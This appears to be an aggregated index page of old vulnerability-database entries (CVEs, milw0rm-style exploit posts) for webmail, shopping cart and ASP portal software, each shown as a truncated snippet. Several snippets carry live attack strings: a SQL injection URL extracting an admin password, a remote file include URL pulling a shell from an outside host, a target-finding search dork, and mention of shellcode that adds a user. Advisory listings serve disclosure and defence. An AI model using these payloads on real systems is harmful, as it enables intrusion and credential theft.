Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Uebimiau Webmail allow remote attackers to inject arbitrary web script or HTML via 1 the PATHINFO to redirect.php or 2 the selectedtheme parameter to demo/pop3/error.php...

CVE-2007-3170

CVE-2007-3170 relates to multiple XSS vulnerabilities in UebiMiau Webmail. The affected component is the webmail PHP application, with two identified vectors: (1) PATH_INFO to redirect.php and (2) the selected_theme parameter to demo/pop3/error.php. The underlying issue is insufficient sanitizati...

CVE-2007-3171

Affected software/impact: Uebimiau Webmail is vulnerable to information disclosure. The issue occurs in the demo/pop3/error.php script when an invalid value is supplied for the smarty or selected_theme parameter, which causes error messages to reveal the installation path. Root cause (as describe...

geometrix-sql.txt

Title: GeometriX Download Portal Remote SQL Injection Vulnerability Author: CyberGhost Demo Page: http://fullaspsite.somee.com/ Script Page: http://aspindir.com/indir.asp?id=4949&sIslem=%DDndir Vuln. Password:/downindir.asp?id=-1+union+select+0,1,adminsifre,3,4,5,6,7+from+ayarlar Admin Login :...

GeometriX Download Portal (down_indir.asp id) SQL Injection Vuln

No description provided by source. Title: GeometriX Download Portal Remote SQL Injection Vulnerability Author: CyberGhost Demo Page: http://fullaspsite.somee.com/ Script Page: http://aspindir.com/indir.asp?id=4949&sIslem=%DDndir Vuln...

GeometriX Download Portal - down_indir.asp?id SQL Injection

GeometriX Download Portal - downindir.asp?id SQL Injection Title: GeometriX Download Portal Remote SQL Injection Vulnerability Author: CyberGhost Demo Page: http://fullaspsite.somee.com/ Script Page: http://aspindir.com/indir.asp?id=4949&sIslem=%DDndir Vuln...

PT-2007-4294 · Salescart · Salescart Shopping Cart

Name of the Vulnerable Software and Affected Versions: SalesCart Shopping Cart affected versions not specified Description: The issue concerns SQL injection vulnerabilities in the cgi-bin/reorder2.asp file of SalesCart Shopping Cart, allowing remote attackers to execute arbitrary SQL commands via...

IE6 / Provideo Camimage (ISSCamControl.dll 1.0.1.5) Remote BoF Exploit

No description provided by source. !-- IE6 / Provideo Camimage class ISSCamControl.dll 1.0.1.5 remote seh overwrite exploit / win2k sp4 tried the SD-222VPRO camera series,you can reach an online demo here: http://www.provideo.com.tw/security%20live%20demo.htm rgod -- HTML...

Microsoft Internet Explorer 6 Provideo Camimage - ISSCamControl.dll 1.0.1.5 Remote Buffer Overflow

Microsoft Internet Explorer 6 Provideo Camimage - ISSCamControl.dll 1.0.1.5 Remote Buffer Overflow REM metasploit one, add a user 'su' with pass 'tzu' shellcode =...

IE6 / Provideo Camimage (ISSCamControl.dll 1.0.1.5) Remote BoF Exploit

Exploit for unknown platform in category remote exploits ====================================================================== IE6 / Provideo Camimage ISSCamControl.dll 1.0.1.5 Remote BoF Exploit ====================================================================== REM metasploit one, add a use...

Vizayn Urun Tanitim Sistemi 0.2 (tr) Remote SQL Injection Vulnerability

No description provided by source. / Vizayn Urun Tanitim Sistemi v0.2 tr Remote SQL Injection Vulnerability Author : BAHADIR Contact: [email protected] Scripr HomePage: http://www.vizayn.web.tr/ws.asp?ws=102 Script Demo URL: http://ws.vizaynhosting.com/V02/ Price : 55YTL PoF Concept:...

vizayn-sql.txt

/ Vizayn Urun Tanitim Sistemi v0.2 tr Remote SQL Injection Vulnerability Author : BAHADIR Contact: [email protected] Scripr HomePage: http://www.vizayn.web.tr/ws.asp?ws=102 Script Demo URL: http://ws.vizaynhosting.com/V02/ Price : 55YTL PoF Concept:...

JVN#81294906 Homepage Builder sample CGI programs vulnerable to OS command injection

Among sample CGI programs included in Homepage Builder, anketo.cgi, kansou.cgi, and order.cgi contain an OS command injection vulnerability as they do not properly validate input data. Impact An arbitrary command could be executed on the web server with the privilege of the web server process...

EfesTECH Haber 5.0 - 'id' SQL Injection

Title: EfesTECH Haber v5,0 Remote SQL Injection Vulnerability Author: CyberGhost Demo Page: http://www.haberguvercini.com Script Page: http://aspindir.com/indir.asp?id=4899&sIslem=%DDndir Vuln. Username -...

EfesTECH Haber 5.0 (id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ========================================================== EfesTECH Haber 5.0 id Remote SQL Injection Vulnerability ========================================================== Title: EfesTECH Haber v5,0 Remote SQL Injection Vulnerability...

EfesTECH Haber 5.0 (id) Remote SQL Injection Vulnerability

No description provided by source. Title: EfesTECH Haber v5,0 Remote SQL Injection Vulnerability Author: CyberGhost Demo Page: http://www.haberguvercini.com Script Page: http://aspindir.com/indir.asp?id=4899&sIslem=%DDndir Vuln. Username -...

PHP Coupon Script 3.0 (index.php bus) Remote SQL Injection Vulnerability

No description provided by source. ============================================== PHP Coupon Script 3.0 Remote SQL Injection ============================================== Found: Cyber-Security.org ============================================== Script site: http://www.couponscript.com/...

PHP Coupon Script 3.0 - bus SQL Injection

PHP Coupon Script 3.0 - bus SQL Injection ============================================== PHP Coupon Script 3.0 Remote SQL Injection ============================================== Found: Cyber-Security.org ============================================== Script site: http://www.couponscript.com/...

GHH Portal 1.1 (passwd.txt) Remote Password Disclosure Vulnerability

By Cr@zyKing [email protected] Biyosecurity.Net & Expw0rm.Com Thanks : Liz0 & DarkXBoyZ & Eno7 & ApAci & Uyuss & CrackersChild & Th343k1R & Xoron & Ajannn Portal : GHH Wersion : 1.1 GHH Portal 1.1 passwd.txt Remote Password Disclosure Vulnerability Demo : http://ghh.sourceforge.net/demo Vuln :...

AWBS v2.4.0 Remote file include[cart2.php]

AWBS v2.4.0 Remote file includecart2.php Demo : http://www.awbs.com/demo.php D0rk : nurl:awbs.php Home Page: Www.SiberAktif.Net Exploit http://localhost/gpbpath/docs/front-end-demo/cart2.php?workdir=http://sh3ll.com/for.txt? Discovered by : DamaR [email protected] milw0rm.com 2007-04-24...